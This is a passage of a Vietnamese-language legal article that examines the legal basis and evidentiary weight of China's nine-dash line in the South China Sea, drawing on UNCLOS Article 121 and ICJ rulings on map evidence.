vào tháng 5 năm 2009. [10] Để đáp trả các đệ trình này, trong cùng ngày TQ đã chính thức gửi Tổng thư ký LHQ hai công hàm riêng biệt có kèm bản đồ đó [11], bằng cách này lần đầu tiên xác nhận đường chữ U, ở cấp quốc tế trong một tranh chấp cấp nhà nước, [12] với phản ứng giống hệt nhau sau đây:</div> <div> </div> <div> TQ có chủ quyền không thể tranh cãi đối với các đảo ở Biển Đông và các vùng biển lân cận, và được hưởng quyền chủ quyền và quyền tài phán trên các vùng biển liên quan cũng như biết đáy biển và lòng đất dưới biển (xem bản đồ kèm theo). Lập trường nêu trên đượcChính phủ TQ nhất quán thể hiện, và được cộng đồng quốc tế biết đến rộng rãi. [13]</div> <div> </div> <div> Đọc Công hàm này, một học giả Đài Bắc suy ra một số khẳng định của TQ:</div> <div> </div> <div> 1. Chủ quyền đối với các đảo ở Biển Đông và vùng biển tiếp giáp chúng (bản đồ kèm theo cho thấy các thể địa lý biển sau đây trong đường đứt khúc theo tên: quần đảo Tây Sa, [14] quẩn đảo Nam Sa, [15] quần đảo Trung Sa, [16] và quẩn đảo Đông Sa[17]).</div> <div> </div> <div> 2. Quyền chủ quyền và quyền tài phán đối với vùng biển liên quan bao gồm đáy biển và tầng đất dưới đáy biển của chúng.</div> <div> </div> <div> 3. Tính nhất quán của vị thế chính thức của TQ về các yêu sách biển và lãnh thổ ở Biển Đông.</div> <div> </div> <div> 4. Sự nhận biết của các nước bên thứ ba liên quan đến yêu sách của TQ về biển và lãnh thổ ở Biển Đông.</div> <div> </div> <div> 5. Đường chữ U mô tả những yêu sách của TQ về chủ quyền, quyền chủ quyền và quyền tài phán. [18]</div> <div> </div> <div> Tuy nhiên, dường như công bằng để nói rằng giải thích chính thức của TQ trích dẫn trên, theo như ý nghĩa chính xác của bản đồ đính kèm, vẫn còn là mơ hồ. Cụ thể, bản chất pháp lý chính xác của các khu vực biển bao bọc bởi đường 9-chấm-vẫn còn mờ mịt, mặc dù có việc "làm rõ" của TQ. Điểu này được thể hiện rõ ràng bởi các phản ứng đang dạng mà họ gây ra tại các hội nghị chuyên ngành được tổ chức kể từ đó. [19]</div> <div> </div> <div> Theo hiểu biết của chúng tôi, cho đến nay chỉ có một nước là Philippines thực hiện nỗ lực giải thích.[20] TQ nhanh chóng trả lời với một công hàm mới, một lần nữa công hàm này chẳng làm cho rõ ràng hơn bao nhiêu. Trong công hàm mới này, đề ngày 14 tháng 4 năm 2011, TQ nêu rằng “chủ quyền và các quyền và quyền tài phán liên quan của TQ trong Biển Đông” được hỗ trợ bằng “chứng cứ lịch sử và pháp lý phong phú”'.[21] Điều rõ ràng trong tài liệu ngoại giao mới này là sự thiếu vắng của bất kỳ đề cập nào tới bản đồ trên. Từ sự thiếu vắng này, chúng ta có thể suy ra sự từ bỏ đường 9 chấm hay không? Chắc chắn, không thể giả định có một sự quay ngoắt (volte-face) một cách hời hợt. Hơn nữa, dù họ đang chủ trương làm dịu đi các quan ngại về tự do hàng hải ở Biển Đông, [22] ví như can thiệp gần đây của TQ đối với tàu thuyền Việt Nam và Philippines mà thôi cho thấy các yêu sách quá đáng của họ như trên bản đồ vẫn còn nguyên vẹn.</div> <div> </div> <div> II. CÁC YÊU SÁCH</div> <div> </div> <div> Công hàm ngày 07 tháng 5 năm 2009 của TQ, dù là có thể mới trong các khía cạnh vể biển của nó nhưng chỉ lặp lại những khẳng định tương tự như đã đưa ra trong quá khứ liên quan đến các thể địa lý. [23] Hơn nữa, nhiều học giả chủ yếu của TQ và Đài Loan đã đề ra các cách giải thích riêng của họ về đường 9 chấm. Giữa sự rối rắm này, người ta chỉ có thể chắc chắn một điều là các khẳng định TQ về Biển Đông không vượt quá ranh giới này. [24] Những quan điểm và giá trị pháp lý của các khẳng định này sẽ được thảo luận sau đây.</div> <div> </div> <div> A. Yêu sách lịch sử</div> <div> </div> <div> 1. Thực hành Nhà nước (State practice)</div> <div> </div> <div> Mặc dù các khẳng định kiểu này dường như không là nét đặc biệt trong chính sách chính thức của TQ, Đài Bắc có truyền thống ủng hộ lập trường này đối với đường chữ U khá mạnh, như có thể thấy trong một loạt các tuyên bố. Ví dụ, trong năm 1991 tại một trong những Hội thảo về Biển Đông, một đại diện Văn phòng Kinh tế và Thương mại Đài Bắc ở Jakarta (Indonesia) tuyên bố:</div> <div> </div> <div> Biển Đông là một vùng nước thuộc thẩm quyền của THDQ. THDQ có quyền và đặc quyền trong Biển Đông. Bất kỳ hoạt động nào trong Biển Đông phải có sự chấp thuận của Chính phủ THDQ. [25]</div> <div> </div> <div> Hướng dẫn Chính sách cho Biển Đông năm 1993 (chuẩn nhận bởi Bộ trưởng Hành Chánh) lưu ý rằng:</div> <div> </div> <div> Trên cơ sở lịch sử, địa lý, luật pháp quốc tế, và nhiều sự kiện, quần đảo Trường Sa, quần đảo Hoàng Sa, bãi cạn Macclesfield, và quần đảo Pratas luôn là phần lãnh thổ cố hữu của THDQ. Chủ quyền của nước THDQ đối với chúng không còn chút nghi ngờ nào. Khu vực Biển Đông trong ranh giới vùng nước lịch sử là khu vực biển thuộc thẩm quyền của nước THDQ, THDQ sở hữu tất cả các quyền và lợi ích trong đó. [26]</div> <div> </div> <div> Trong năm 1994, Bộ trưởng Bộ Hành Chánh, Trương Kim Ngọc (Chang King-yu), nói rằng “các vùng biển được bao bọc bởi đường chữ U ở Biển Đông là vùng nước lịch sử của chúng ta và THDQ được hưởng tất cả các quyền trong đó” (nhấn mạnh thêm). [27]</div> <div> </div> <div> Chính sách của Đài Bắc được suy luận xa hơn từ các phản đối đã thực hiện chống lại cách ứng xử của các nước ven biển trong khu vực. Đáp trả với việc Malaysia chiếm đóng hai thể địa lý tại quần đảo Trường Sa và việc Philippines quyết địnhsáp nhập bãi cát ngầm Scarborough trên bản đồ của họ, Đài Bắc tuyên bố:</div> <div> </div> <div> Biển Đông là một vùng nước của THDQ. THDQ có tất cả các quyền và đặc quyền trong vùng Biển Đông. Bất kỳ hoạt động nào (kể cả việc thảo luận về hợp tác chung hoặc Quy tắc ứng xử, vv) trong Biển Đông phải có sự chấp thuận của Chính phủ THDQ. (nhấn mạnh thêm) [28]</div> <div> </div> <div> Một số chuyên gia đã cóp nhặt nhiều lập luận pháp lý cho tuyên bố mong manh này. [29] Ví dụ, Triệu Quốc Tài (Guocai Zhao) nhận xét:</div> <div> </div> <div> TQ sở hữu quyền lịch sử các hòn đảo, đá ngầm, bãi cát ngầm, các bãi cạn, và các vùng nước trong đường 9 chấm. Biển Đông được coi là vùng nước lịch sử của TQ, điều đó được thừa nhận phổ quát vào thời điểm đó. Cho đến nay điều này đã kéo dài nửa thế kỷ. [30]</div> <div> </div> <div> 2. Phân tích pháp lý</div> <div> </div> <div> Việc xem xét các bài viết học thuật về các tuyên bố lịch sử liên quan đến các khu vực biển làm phát sinh rất nhiều nhầm lẫn về thuật ngữ. Các khái niệm thích hợp như quyền lịch sử / sở hữu lịch sử, các vùng nước lịch sử, và vịnh lịch sử không dễ dàng phân biệt và làm sáng tỏ. [31] Để tránh việc tìm hiểu kéo dài không cần thiết và phần nào thừa thãi về sự khác biệt giữa các quyền lịch sử và sở hữu lịch sử, chỉ cần nói rằng “quyền lịch sử” là chủng (genus) mà theo đó người ta có thể đặt các loại (species) “vùng nước lịch sử” vào. Tương tự, “vịnh lịch sử” là một loại “vùng nước lịch sử”. [32] Trong bối cảnh của đường 9 chấm, cách ứng xử của Đài Bắc dường như bao hàm sự công nhận các vùng nước lịch sử liên quan đến một phần chủ yếu của Biển Đông.</div> <div> </div> <div> Không có định nghĩa được chấp nhận rộng rãi về các vùng nước lịch sử, nhưng theo cách hiểu rộng rãi, nó biểu thị các quyền dành cho một nước ven biển đối với một hoặc nhiều khu vực biển mà nước đó bình thường sẽ không được hưởng. Phạm vi các quyền đi cùng với vùng nước lịch sử có thể khác nhau đáng kể. Các điều kiện pháp lý cho việc thụ đắc các vùng nước lịch sử đã được xem xét trong một nghiên cứu năm 1962 do Văn phòng Ban thư ký Liên Hợp Quốc của Vụ Pháp chế (OLA) thực hiện theo yêu cầu của Uỷ ban pháp luật quốc tế. [33] Theo quan điểm của OLA:</div> <div> </div> <div> Có vẻ có một sự nhất trí chung nhất rằng khi xác định liệu một nước có quyền sở hữu lịch sử đối với một khu vực biển hay không phải xem xét tới ít nhất ba yếu tố. Những yếu tố này là: (1) việc thực thi thẩm quyền của nước yêu sách quyền lịch sử đối với khu vực đó (2) tính liên tục của việc thực thi thẩm quyền (3) thái độ của các nước khác. [34]</div> <div> </div> <div> Đài Bắc lẫn TQ đều không đáp ứng các tiêu chí này cho vấn đề đó. Điều kiện (1) và (2) đòi hỏi nước có yêu sách phải thực thi thẩm quyền thông qua các hành vi thể hiện chủ quyền ở mức đủ thường xuyên và có hiệu quả. Liên quan tới khu vực họ yêu sách, việc thể hiện thẩm quyền của họ cùng lắm chỉ có thể nói là ở mức không thường xuyên. Việc tự do đánh bắt và đi lại của các nước khác vẫn không bị cản trở. [35] Do đó, không yêu sách lịch sử nào có thể thực hiện ở đây. Các đòi hỏi lý thuyết cần để thoả mãn điều kiện (3) là không chắc chắn. Về cơ bản, việc thảo luận xoay quanh vấn đề liệu các nước khác có cần phải ngầm bằng lòng với việc thực hiện chủ quyền của TQ trên Biển Đông hay liệu việc họ không có bất kỳ phản ứng nào là đủ hay không. [36] Nhưng dù theo quan điểm nào, cả hai dường như đều đồng ý rằng sự phản đối của các nước khác có thể ngăn chặn việc thực thi chủ quyền hòa bình và liên tục, và điều này đích xác là những gì đã xảy ra đối với Biển Đông (xem phần IV-B).</div> <div> </div> <div> Một số người đã vặn lại rằng tuyên bố phải được xem xét dưới ánh sáng của các quy tắc luật quốc tế đã tồn tại khi bản đồ đường chữ U được vẽ ra, tức là năm 1946 (cái gọi là học thuyết của luật liên thời gian [intertemporal law]). [37] Điều này là khá khác thường, vì cách tiếp cận này chỉ làm yếu thêm một luận điểm vốn đã không thuyết phục. Vào thời điểm đó, bề rộng của lãnh hải hợp pháp chỉ là 3 hải lý, khiến cho các yêu sách lịch sử càng thêm quá đáng hơn. [38] Với thực tế rằng các vùng nước lịch sử thường liên quan đến vịnh hoặc một dải lãnh hải, [39] do đó không có gì ngạc nhiên khi nhận thấy một chuyên luận gần đây về vùng nước lịch sử không thấy cần thiết để đề cập tới yêu sách lịch sử của đường 9 chấm. [40] Hơn nữa, ngay cả khi vì mục đích lập luận người ta nhắm tới giả thuyết cho rằng TQ có thể thực hiện một yêu sách lịch sử lớn chưa từng có (cái không có –quod non) thì cũng nên nhớ rằng các yêu sách lịch sử không tạo ra một chế độ liên quan tới mọi nước (erga omnes), mà là phụ thuộc vào sự công nhận tường minh hay hàm ý trên tầm mức quốc gia như một tác giả mới đây đã nhấn mạnh. [41]</div> <div> </div> <div> Một lưu ý cuối cùng, việc sử dụng cách gọi “Biển Nam Trung Hoa" không có ý trao chủ quyền lịch sử cho TQ. [42] Theo luật pháp quốc tế, việc đặt tên đơn thuần một khu vực không thiết lập chủ quyền đối với khu vực đó. [43] Tên này đã bị các quốc gia có liên quan phản đối mạnh mẽ, trong đó có Việt Nam. [44] Bản đồ nước ngoài dùng tên Biển Nam Trung Hoa chỉ đơn giản là để phù hợp với cách gọi tên do Tổ chức Thủy văn Quốc tế về Ranh giới các Đại dương và biển công bố (1953), cách gọi tên đó “không có bất kỳ ý nghĩa chính trị nào”. [45] Vì thế việc lựa chọn từ ngữ này về phần các nước phương Tây không có hàm ý nhìn nhận chủ quyền của TQ. Ngoài ra, về mặt lịch sử người TQ cũng dùng nhiều tên gọi khác nhau cho vùng biển này như là “Biển Giao Chỉ” (đời Tống và Minh) và “Biển Nam” (đời Thanh (1905), THDQ (1913) và CHNDTH (1952 và 1975)). [46]</div> <div> </div> <div> 3. Những diễn biến mới</div> <div> </div> <div> Những diễn biến gần đây có thể làm cho sự thảo luận dễ dàng hơn. Thật vậy, rất có thể là Đài Bắc đang từ bỏ luận điểm lâu dài của họ. Các tuyên bố trong những năm gần đây gợi cho thấy một sự thay đổi trong quan điểm của họ, đưa chính sách của Đài Loan về vấn đề này cùng hướng với chính sách của TQ. Việc đề cập tới quyền / vùng nước lịch sử vắng đi trong khi trọng tâm dường như là chủ quyền lãnh thổ đối với các đảo và lãnh hải của chúng. [47] Ví dụ gần đây nhất là tuyên bố hồi tháng 5 năm 2009 phản đối các hồ sơ củaViệt Nam và Malaysia - Việt Nam gửi cho CLCS:</div> <div> </div> <div> Chính phủ THDQ nhắc lại rằng quần đảo Điếu Ngư Đài (Diaoyutai), quần đảo Nam Sa (Trường Sa), quần đảo Tây Sa (quần đảo Hoàng Sa), quần đảo Trung Sa (Macclesfield) và quần đảo Đông Sa (Pratas Islands) cũng như các vùng biển xung quanh là cácvùng lãnh thổ và các vùng biển cố hữu của THDQ dựa trên các quyền sở hữu chủ quyền không thể chối cãi biện minh bằng các cơ sở lịch sử, địa lý và luật quốc tế. Theo luật quốc tế, THDQ được hưởng tất cả các quyền và lợi ích đối với các quần đảo nói trên, cũng như các vùng biển xung quanh và đáy biển và lòng đất dưới đáy của chúng. [48]</div> <div> </div> <div> B. Các yêu sách đảo</div> <div> </div> <div> 1. Cách giải thích 1: Tất cả các thể địa lý trong đường chữ-U là lãnh thổ Đài Bắc/TQ</div> <div> </div> <div> Người đề xuất trước nhất cách giải thích yêu sách lãnh thổ này, nhà ngoại giao Indonesia Hasji Djalal, trong khi thừa nhận tính chất “khó hiểu" của đường chữ U, đã nêu các tìm hiểu của mình dựa trên việc phân tích cẩn thận các tuyên bố của TQ, đặc biệt là những tuyên bố hình thành trong cuộc họp của Tổ chức Hàng không dân dụng (ICAO) quốc tế năm 1979. [49]</div> <div> </div> <div> Smith ghi nhận rằng các thể địa lý giữa đại dương nằm bên trong “các vạch phân bổ này” là những thể địa lý mà TQ tuyên bố chủ quyền. Ông nhấn mạnh rằng các dấu vạch này không gợi ra bất kỳ yêu sách ranh giới biển nào và sẽ không có chút tác động nào đối với việc giải quyết tranh chấp biên giới biển. [50]</div> <div> </div> <div> Dzurek cũng tin tưởng rằng đường chữ U không phân ranh các biên giới thuộc thẩm quyền trên biển của TQ, với việc tin tưởng này dựa trên một lập luận về bản đồ học, cụ thể là, sự kiện rằng các dấu vạch chia cắt Malaysia và quần đảo Natuna đi chệch khỏi đường phân giới thềm lục địa Indonesia-Malaysia đã thoả thuận. [51]</div> <div> </div> <div> Như đã nói ở trên, việc thực hành nhà nước hiện nay của Đài Bắc dường như chứng minh một sự chuyển đổi về phía vị thế này.</div> <div> </div> <div> Câu hỏi tinh tế về các đảo trong Biển Đông thuộc nước nào, đòi hỏi phải phân tích nghiêm ngặt một ma trận sự kiện phức tạp và ứng dụng các khái niệm pháp lý đa dạng (chẳng hạn như phát hiện, ngày tới hạn [ngày mà các hành động của các bên liên quan thực hiện sau ngày đó sẽ không được toà xét đến-ND] , và tính hiệu quả), sẽ đưa chúng ta quá xa khỏi chủ đề hiện tại. [52] Với điều này trong trí, có lẽ thích hợp để nhấn mạnh ở đây rằng bản đồ TQ không thể tạo thành một quyền sở hữu lãnh thổ hợp lệ đối với các đảo cho từng bản đồ. Trong vụ Burkina Faso / Mali, Tòa Công lý Quốc tế (ICJ) đưa ra lời giải thích “dứt khoát”[53] về giá trị chứng cứ của bằng chứng bản đồ:</div> <div> </div> <div> Các bản đồ chỉ đơn thuần tạo thành thông tin, chúng thay đổi về tính chính xác theo từng trường hợp; và bằng sự tồn tại của một mình chúng, chúng không có thể tạo thành một quyền sở hữu lãnh thổ, nghĩa là, một tài liệu được luật quốc tế phú cho hiệu lực pháp lý nội tại cho mục đích xác lập các quyền lãnh thổ. Tất nhiên, trong một số trường hợp, bản đồ có thể có được hiệu lực pháp luật như vậy, nhưng trong những trường hợp như thế hiệu lực pháp luật không phát sinh duy nhất từ giá trị nội tại của chúng mà chính vì do bản đồ đó thuộc về loại biểu hiện vật lý về ý muốn của một nước hoặc các nước có liên quan. Ví dụ, trường hợp khi các bản đồ được kèm theo một văn bản chính thức mà chúng là một phần không thể thiếu. Ngoại trừ trường hợp xác định rõ ràng này, các bản đồ chỉ là bằng chứng bên ngoài có độ tin cậy khác nhau hay không đáng tin cậy, chúng có thể được sử dụng, cùng với các bằng chứng khác loại gián tiếp, để thiết lập hoặc tái thiết lại các sự kiện thật. [54]</div> <div> </div> <div> Ý kiến nhân tiện (obiter dictum) này đã được trích dẫn một cách đồng tình trong một loạt các trường hợp tranh cãi. [55] Một số người đã đọc đoạn văn này như một bác bỏ “dứt khoát” đối với khái niệm về quyền sở hữu theo bản đồ. [56] Trong mọi trường hợp, Tòa án dường như còn để mở một cửa sổ nhỏ[57] (“các bản đồ … kèm theo một văn bản chính thức mà chúng tạo thành một phần không thể thiếu'”) đề cập đến nhưng công cụ như các hiệp ước[58] và do đó không áp dụng được trong trường hợp này.</div> <div> </div> <div> 2. Cách giải thích 2: Đường chữ U là đường ranh giới của vùng đặc quyền kinh tế (EEZ) được tạo ra từ các đảo ở Biển Đông</div> <div> </div> <div> Một số học giả TQ dường như ủng hộ thuyết này, mặc dù lý luận của họ hơi khác nhau và thường liên kết với thuyết các quyền / vùng biển lịch sử. Triệu Lý Hải (Zhao Lihai) viết:</div> <div> </div> <div> Đường chín chấm chỉ rõ lãnh thổ và chủ quyền của TQ về bốn quần đảo trong Biển Đông và khẳng định ranh giới biển của các đảo của TQ ở Biển Đông mà các đảo này đã được bao gồm trong phạm vi TQ ít nhất từ thế kỷ 15. Tất cả các hải đảo và các vùng nước lân cận trong đường biên giới phải thuộc thẩm quyền và kiểm soát của TQ.[59]</div> <div> </div> <div> Kiều Vĩnh Khoa (Jiao Yongke) nêu:</div> <div> </div> <div> Các khu vực nước bên trong đường biên giới ở Biển Đông của TQ tạo thành các vùng nước mà TQ có quyền sở hữu lịch sử đối với chúng, chúngtạo thành vùng đặc quyền kinh tế đặc biệt, hay vùng đặc quyền kinh tế lịch sử của TQ, do đó phải có địa vị tương tự như vùng đặc quyền kinh tế theo các quy định của UNCLOS [Công ước LHQ về Luật Biển]. [60]</div> <div> </div> <div> Cuối cùng, Trâu Khoa Uyển (Zou Keyuan) tin rằng TQ đã khẳng định một tuyên bố lịch sử, nhưng tuyên bố này là “tương đương với tình trạng pháp lý của vùng đặc quyền kinh tế hay thềm lục địa”. [61]</div> <div> </div> <div> Cách giải thích thứ hai này về các vạch liên tục là phụ thuộc hoàn toàn vào cách đầu tiên. Nó suy từ nguyên tắc “đất thống trị biển” mà cách tiếp cận này nhất thiết phải dựa trên tiền đề là TQ có chủ quyền đối với các thể địa lý ở Biển Đông. [62] Những người ủng hộ thuyết này xem đường chữ U như một ranh giới trên biển nối các ranh giới của vùng đặc quyền kinh tế hoặc thềm lục địa phát sinh từ các đảo. Một loạt các câu hỏi nẩy lên. Vấn đề gai góc đầu tiên liên quan đến việc phân định vùng biển đó. Suy cho cùng, một nước ven biển không thể chỉ đơn giản áp đặt việc phân giới lên các nước khác một cách đơn phương. Sự hợp lệ của hành động như vậy sẽ phụ thuộc vào sự tuân thủ các chuẩn mực luật pháp quốc tế. [63]</div> <div> </div> <div> Hơn nữa, còn có vấn đề là các thể địa lý biển có thể tạo ra các khu vực biển (bất chấp ai là chủ sở hữu hợp pháp) hay không? Tất cả phụ thuộc vào việc thể địa lý đó có hội đủ điều kiện là đảo theo nghĩa pháp lý hay không. Công ước 1982[64] có chứa một điều khoản cho mục đích này, Điều 121, nêu như sau:</div> <div> </div> <div> 1. Một hòn đảo là một khu đất hình thành tự nhiên, bao quanh bởi nước, nằm bên trên mặt nước khi triều cao.</div> <div> </div> <div> 2. Ngoại trừ như quy định tại mục 3, lãnh hải, vùng tiếp giáp, vùng đặc quyền kinh tế và thềm lục địa của một đảo được xác định theo quy định của Công ước này áp dụng cho lãnh thổ đất liền khác.</div> <div> </div> <div> 3. Đá không thể duy trì sự cư trú của con người hay có đời sống kinh tế của riêng mình sẽ không có vùng đặc quyền kinh tế hay thềm lục địa. [65]</div> <div> </div> <div> Do đó, các bề mặt có đất trong vùng Biển Đông sẽ tạo ra thêm các vùng đặc quyền kinh tế (và thềm lục địa) nếu chúng đáp ứng các yêu cầu nghiêm ngặt nêu trên. [66] Do đó, tính chất đảo của một loạt các tính năng hàng hải tại Biển Đông đã bị rơi vào nghi vấn. Oude Elferink thận trọng nêu rằng “ít ra có một số đảo trong Biển Đông có vùng đặc quyền kinh tế và thềm lục địa. Các thể địa lý có tính đảo khác gần như chắc chắn có thể được coi là rơi vào vòng khống chế của Điều 121 (3) [đá].” [67] Nếu biết ra rằng những bề mặt đất đó không phải là đảo, (ít nhất là một phần) thì cách giải thích vùng đặc quyền kinh tế hay thềm lục địa của đường chữ U là không có giá trị pháp lý.</div> <div> </div> <div> Về mặt này, rất đáng để đề cập ngắn gọn đến các bước do TQ mới thực hiện ở cấp độ quốc tế ủng hộ di sản chung của loài người bằng cách cố gắng bảo vệ khu vực này chống lại sự xâm nhập không chính đáng của một vài nước. [68] Về thực chất, các can thiệp này nhằm mục đích chống lại đệ trình của Nhật Bản cho CLCS vể đảo Okinotorishima ở Thái Bình Dương. [69] Tuy nhiên, hành động này ngay lập tức bị phản ứng ngược đối với Biển Đông, Indonesia đã chất vấn đường 9 chấm của TQ ngay chính trên cơ sở của các cơ quan đại diện của đất nước này nêu ra trước cuộc họp của các nước thành viên năm 2009 cũng như trước Cơ quan quốc tế đáy biển, đó là, các mỏm đá không thể duy trì sự cư trú của con người, đời sống kinh tế riêng không tạo ra một vùng đặc quyền kinh tế hay thềm lục địa.[70]</div> <div> </div> <div> Dù các diễn biến có thể thú vị như thế nào, điều bắt buộc này, mà đúng hơn là việc điều tra nặng thực tế và kỹ thuật về tình trạng pháp lý chính xác của các thể địa lý khác nhau ở Biển Đông theo Điều 121 (3) của Công ước năm 1982 vượt quá xa phạm vi nghiên cứu của chúng tôi.</div> <div> </div> <div> III. CÁC YẾU TỐ LÀM SUY YẾU SỨC MẠNH CHỨNG MINH CỦA BẢN ĐỒ</div> <div> </div> <div> Theo một quy tắc đã được ghi nhận, [71] các thẩm phán quốc tế được hưởng sự tự do đặc biệt rộng rãi trong việc xác định trọng lượng của tài liệu chứng cứ. [72] Cảnh giác về quyền tự do theo nguyên tắc này, chúng tôi đã xem xét các tiền lệ[73] liên quan đến bản đồ để suy ra các yếu tố[74] thường được thẩm phán hoặc trọng tài sử dụng để đánh giá hiệu lực chứng minh của bằng chứng bản đồ. Cần nhấn mạnh rằng trong khi làm như vậy, chúng tôi dựa vào các tiền lệ liên quan cho đất liền lẫn trên biển không phân biệt. Mặc dù đúng là các nguyên tắc quy định việc thụ đắc những vùng biển và phân giới biển khác biệt đáng kể so với những quy tắc làm cơ sở cho việc thụ đắc và phân giới lãnh thổ, [75] câu hỏi cốt yếu này (chế độ pháp luật áp dụng được) là tách biệt với câu hỏi về bằng chứng (các bản đồ). Hơn nữa, học thuyết dường như không có sự phân biệt có ý nghĩa giữa bản đồ đất liền và bản đồ biển trong việc phân loại các quy tắc bằng chứng, và ICJ đã trích dẫn các quy tắc pháp lý bổ sung trong các vụ trên đất liền khi đánh giá các bản đồ do các bên tham gia tranh chấp nộp vào có chứa một yếu tố liên quan đến biển. [76]</div> <div> </div> <div> Các yếu tố sau đây chứng tỏ sự thiếu sót về chứng cứ vốn có của đường 9-chấm của TQ.</div> <div> </div> <div> A. Cách tiếp cận thận trọng với chứng cứ bản đồ</div> <div> </div> <div> Như một quan sát bước đầu, cần chỉ ra rằng xu hướng chung là các tòa và các toà án quốc tế không đưa ra các phán quyết chỉ đơn thuần dựa trên các kết luận về bản đồ. [77] Mặc dù những bản đồ chính xác phản ánh ý định của các bên có thể thực sự tạo thành “một cơ sở vững chắc và liên tục cho việc thảo luận” sự vắng mặt của chúng “là một sự bất tiện đáng tiếc”', [78] chúng thường sẽ đóng vai trò phụ trong việc làm vững thêm bằng chứng khác cùng chỉ về một hướng. [79] Trở lại với quyết định cho vụ Burkina Faso / Cộng hòa Mali:</div> <div> </div> <div> Các bản đồ vẫn không thể có giá trị pháp lý hơn so là giá trị của bằng chứng củng cố trong việc chuẩn nhận một kết luận mà một tòa án đi đến bằng các phương tiện khác không dính dáng tới các bản đồ, trừ khi các bản đồ thuộc loại biểu hiện vật lý ý muốn của Nhà nước, tự chúng không thể được xem như là bằng chứng về một đường biên giới, vì trong trường hợp đó chúng sẽ hình thành một giả định không thể bác bỏ, thật sự đồng nghĩa với quyền sở hữu pháp lý. Giá trị duy nhất mà chúng có là bằng chứng thuộc loại phụ hoặc khẳng định thêm, và điều này cũng có nghĩa rằng chúng không thể được gán cho đặc tính của một giả định không thể bác bỏ (juris tantum) như là để thực hiện một sự đảo ngược trách nhiệm chứng minh. [80]</div> <div> </div> <div> Lập trường thận trọng này đã được phát hiện và ghi nhận theo ý kiến của học giả có thẩm quyền, [81] và trong một số trường hợp đã được sự chấp thuận đáng kể. [82]</div> <div> </div> <div> B. Các bản đồ không tương thích nhau</div> <div> </div> <div> Khi trình bày các khẳng định mâu thuẫn lẫn nhau, sắp xếp các sự kiện cho chỉnh trang đòi hỏi cố gắng lớn. [83] Khá tương tự như vậy, khi các tài liệu bản đồ mâu thuẫn với nhau, chúng sẽ mất đi sự tin cậy. [84] Như ICJ đã nêu trong trường hợp Kasikili / Sedudu:</div> <div> </div> <div> “dưới ánh sáng của sự không chắc chắn và không thống nhất của tài liệu bản đồ được đệ trình, Tòa tự thấy mình không thể rút ra kết luận từ những bằng chứng bản đồ đưa ra trong trường hợp này.” [85]</div> <div> </div> <div> Các bản đồ với đường 9-chấm vẽ ra một hình ảnh Biển Đông khác biệt với bằng chứng bản đồ và các tài liệu khác của các nước ven biển trong khu vực. Sẽ khó khăn để đạt được một sự hiểu biết chính xác ranh giới biển và chính trị chỉ dựa trên việc đặt các bản đồ kế bên nhau. Ngoài ra, các điều mà đường chữ U thể hiện cũng không nhất quán. Như đã đề cập ở trên, đường chữ U trong bản đồ ở TQ trước năm 1953 bình thường gồm có 11 vạch, [86] trong khi các phiên bản sau này của đường nhiều chấm chỉ gồm 9 đoạn. Một bản đồ điện tử trực tuyến gần đây của Cục Khảo sát và Bản đồ Nhà nước TQ ngày 21 tháng 10 năm 2010 lại thêm một đoạn nữa vào phía Bắc giữa Đài Loan và nhóm Ryukyu, trong đó có đảo Yonaguni là hòn đảo ở cực tây, tất cả đều thuộc về Nhật Bản. [87] Không có lý do nào được đưa ra cho việc loại bỏ bí ẩn hai vạch trong quá khứ hay việc thêm vào vạch thứ 10 mới gần đây. [88]</div> <div> </div> <div> C. Ký hiệu bản đồ rời rạc / nhập nhằng</div> <div> </div> <div> Bản đồ không rõ ràng đã xuất hiện trong các tố tụng qua trọng tài trong quá khứ. Trong vụ Trọng tài Eritrea / Yemen, Eritrea đã nộp các bản đồ mô tả một đường chấm chấm hỗ trợ yêu sách của mình. Tòa án đưa ra một tuyên bố ngắn về phương pháp chứng cứ của bên liên quan:</div> <div> </div> <div> Trong một số trường hợp Tòa án có thể không đồng ý với các đặc tính của các bản đồ mà bên đưa ra mong muốn. Hơn nữa, nếu không có chỉ dẫn cụ thể từ chính bản đồ, Tòa án không muốn gán ý nghĩa cho các đường chấm thay cho màu sắc hoặc thay cho việc ghi địa danh trên bản đồ. Các kết luận trên cơ sở này do Eritrea thúc hối liên quan tới một số bản đồ của họ không được chấp nhận. [89]</div> <div> </div> <div> Đương nhiên,có sự tương tự của trường hợp này với đường chữ U, sự thiếu vắng một chú giải (legend), và lời lẽ bí ẩn chứa trong công hàm của TQ gửi Tổng thư ký LHQ đã soạn sẵn. Sự lúng túng càng lớn hơn bởi vì cách mô tả của đường 9-chấm sai lệch với các tiêu chuẩn vẽ bản đồ quốc tế được Tổ chức Thủy văn Quốc tế đề ra đích xác cho mục đích về tính rõ ràng. [90] Cần nhớ rằng TQ là một thành viên của tổ chức quốc tế này. [91]</div> <div> </div> <div> D. Ý định không rõ ràng</div> <div> </div> <div> Như Thẩm phán Oda đã chỉ ra một cách đúng đắn trong ý kiến riêng của ông trong vụ Kasikili / Sedudu, “một tuyên bố lãnh thổ chỉ có thể được thực hiện với dấu hiệu rõ ràng về ý định của chính phủ, dấu hiệu đó có thể được phản ánh trong các bản đồ. Một bản đồ tự nó, nếu không có bằng chứng hỗ trợ khác thì không thể biện minh cho một tuyên bố chính trị” (nhấn mạnh thêm). [92] Trong trường hợp này (in casu) tiêu chí về ý định rõ rệt về phía chính phủ TQ không được đáp ứng một cách thoả đáng. Sự đa dạng về cách giải thích đường chữ U do các học giả luật học đưa ra cũng như công hàm mơ hồ của TQ đề ngày7 tháng 5 năm 2009 là chứng cứ cho kết luận này. Bên cạnh các cấu trúc câu khó hiểu, các từ ngữ được sử dụng trong công hàm, cụ thể là “vùng biển có liên quan” và “vùng biển tiếp giáp” là đặc biệt khó hiểu vì chúng không xuất hiện bất cứ chỗ nào trong UNCLOS. Sự mơ hồ có vẻ như cố tình làm trầm trọng thêm, vì TQ vẫn chưa thông qua luật tạo cho đường chữ U bất kỳ hiệu lực trong trật tự luật pháp trong nước. [93] Ngay cả khi người ta có thể bới ra các ý định đằng sau bản đồ này, ý nghĩa pháp lý của chúng không nên được đánh giá cao. Trở lại bài viết nói trên của Thẩm phán Oda:</div> <div> </div> <div> Một bản đồ được sản xuất bởi một cơ quan chính phủ có liên quan đôi khi có thể chỉ ra vị thế của chính phủ liên hệ đến lãnh thổ hay chủ quyền của một khu vực cụ thể hay đảo. Tuy nhiên, một mình sự kiện đó không có tính quyết định về tư cách pháp lý của khu vực hay đảo đang có vấn đề. Đường ranh giới trên những bản đồ như vậy có thể được hiểu như là thể hiện cho yêu sách tối đa của nước có liên quan, nhưng không nhất thiết biện minh cho yêu sách đó. 